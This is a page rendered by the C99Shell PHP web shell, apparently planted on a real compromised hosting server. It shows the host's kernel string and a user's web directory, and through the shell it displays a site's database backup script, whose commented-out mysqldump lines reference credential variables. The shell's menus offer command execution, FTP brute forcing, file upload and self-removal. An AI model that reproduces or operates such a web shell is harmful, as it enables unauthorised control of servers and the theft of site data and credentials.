!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.3.29 

uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024
x86_64
 

 

Safe-mode: OFF (not secure)

/home/memoriacel/public_html/2018/panel/   drwxr-xr-x
Free 985.27 GB of 1859.98 GB (52.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     backup.php (2.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<? 
require_once("includes/config.php");
require_once(
"includes/funciones.php");

$carpeta_backup="backups/";
$fecha=date("Y-m-d_H-i-s"); 
$nombre_backup_cliente="backup-$fecha.txt";

$nombre_backup_servidor="backup-ultima.txt";

//exec('mysqldump --user='.$username_CDS.' --password='.$password_CDS.' --host='.$hostname_CDS.' '.$database_CDS.' > backup.sql');
//exec('mysqldump --user='.$username_CDS.' --password='.$password_CDS.' --host='.$hostname_CDS.' '.$database_CDS);

$con mysqli_connect $hostname_CDS$username_CDS$password_CDS$database_CDS );
//$con->set_charset("utf8"); esto hace lio por alguna razon
$return="";

$tables = array ();
$result mysqli_query $con'SHOW TABLES' );
while ( 
$row mysqli_fetch_array $result ) ) {
    
$tables [] = $row [0];
}

// cycle through the tables
foreach ( $tables as $table ) {
    
$result mysqli_query $con"SELECT * FROM `$table`");
    
$num_fields mysqli_num_fields $result );
    
$num_rows mysqli_num_rows$result );
    
$return .= "--\n-- Structure for the table $table\n--\n\n";
    
$return .= "DROP TABLE IF EXISTS `$table`;";
    
$row2 mysqli_fetch_array mysqli_query $con"SHOW CREATE TABLE `$table`" ) );
    
$return .= "\n\n" $row2 [1] . ";\n\n";
    if (
$num_rows 0) {
        
$return .= "--\n-- Data dump for the table $table\n--\n\n";
    }
    
$i 0;
    while ( 
$row mysqli_fetch_array $result ) ) {
        if (
$i == 0) {
            
$return .= "INSERT INTO `$table` VALUES\n";
        }
        
$i++;
        for(
$j 0$j $num_fields$j ++) {
            if (
$j == 0) {
                
$return .= '(';
            }
            
$row [$j] = addslashes $row [$j] );
            
$row [$j] = mysqli_real_escape_string $con$row [$j] );
            if (isset ( 
$row [$j] )) {
                
$return .= '"' $row [$j] . '"';
            } else {
                
$return .= '""';
            }
            if (
$j < ($num_fields 1)) {
                
$return .= ',';
            }
        }
        if (
$i $num_rows) { 
            
$return .= "),\n"
        } else { 
            
$return .= ");\n\n"
        }
    }    
}

//echo $return;

$fp fopen($carpeta_backup.$nombre_backup_servidor,"wb");
fwrite($fp,$return);
fclose($fp);

header("Content-disposition: attachment; filename=".$nombre_backup_cliente);
header("Content-type: text/plain");
readfile($carpeta_backup.$nombre_backup_servidor);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 2.9485 ]--